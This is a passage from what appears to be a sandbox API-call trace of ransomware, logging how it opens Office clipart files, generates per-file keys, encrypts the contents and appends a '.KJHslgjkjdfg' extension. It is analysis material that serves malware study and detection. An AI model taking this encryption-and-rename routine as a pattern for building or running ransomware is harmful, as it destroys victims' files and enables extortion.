lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe20, lpOverlapped=0x0) returned 1 [0158.672] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] SetEndOfFile (hFile=0x114) returned 1 [0158.675] GetProcessHeap () returned 0x2a0000 [0158.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.675] GetProcessHeap () returned 0x2a0000 [0158.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.kjhslgjkjdfg")) returned 1 [0158.676] CloseHandle (hObject=0x114) returned 1 [0158.676] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0158.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.677] GetProcessHeap () returned 0x2a0000 [0158.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.677] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.677] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.677] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.679] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.679] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.679] GetProcessHeap () returned 0x2a0000 [0158.679] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.679] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.679] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.679] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.679] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.679] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.679] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.680] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.680] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.680] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.680] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x85c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x85c, lpOverlapped=0x0) returned 1 [0158.680] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x860, dwBufLen=0x860 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x860) returned 1 [0158.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.680] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x860, lpOverlapped=0x0) returned 1 [0158.680] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.680] SetEndOfFile (hFile=0x114) returned 1 [0158.682] GetProcessHeap () returned 0x2a0000 [0158.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.683] GetProcessHeap () returned 0x2a0000 [0158.683] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.kjhslgjkjdfg")) returned 1 [0158.683] CloseHandle (hObject=0x114) returned 1 [0158.684] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0158.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.684] GetProcessHeap () returned 0x2a0000 [0158.684] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.684] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.684] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.686] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.686] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.686] GetProcessHeap () returned 0x2a0000 [0158.686] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.687] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.687] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.687] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.687] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.687] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.687] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.687] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.687] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.687] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.687] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xadc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xadc, lpOverlapped=0x0) returned 1 [0158.687] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xae0, dwBufLen=0xae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xae0) returned 1 [0158.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.687] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xae0, lpOverlapped=0x0) returned 1 [0158.687] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.687] SetEndOfFile (hFile=0x114) returned 1 [0158.690] GetProcessHeap () returned 0x2a0000 [0158.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.690] GetProcessHeap () returned 0x2a0000 [0158.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.kjhslgjkjdfg")) returned 1 [0158.691] CloseHandle (hObject=0x114) returned 1 [0158.691] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0158.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.691] GetProcessHeap () returned 0x2a0000 [0158.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.691] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.691] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.691] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.693] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.693] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.693] GetProcessHeap () returned 0x2a0000 [0158.693] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.693] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.693] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.693] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.693] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.693] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.694] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.694] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.694] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.694] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaec, lpOverlapped=0x0) returned 1 [0158.694] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf0) returned 1 [0158.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.694] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xaf0, lpOverlapped=0x0) returned 1 [0158.694] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.694] SetEndOfFile (hFile=0x114) returned 1 [0158.697] GetProcessHeap () returned 0x2a0000 [0158.697] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.697] GetProcessHeap () returned 0x2a0000 [0158.697] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.kjhslgjkjdfg")) returned 1 [0158.698] CloseHandle (hObject=0x114) returned 1 [0158.698] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0158.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.699] GetProcessHeap () returned 0x2a0000 [0158.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.699] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.699] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.699] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.699] GetProcessHeap () returned 0x2a0000 [0158.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.699] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.699] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.699] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.701] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.701] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.701] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.701] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.702] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.702] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.702] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb90, lpOverlapped=0x0) returned 1 [0158.702] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb90, dwBufLen=0xb90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb90) returned 1 [0158.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.702] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb90, lpOverlapped=0x0) returned 1 [0158.702] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.702] SetEndOfFile (hFile=0x114) returned 1 [0158.704] GetProcessHeap () returned 0x2a0000 [0158.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.704] GetProcessHeap () returned 0x2a0000 [0158.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.kjhslgjkjdfg")) returned 1 [0158.705] CloseHandle (hObject=0x114) returned 1 [0158.705] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x2e0000, 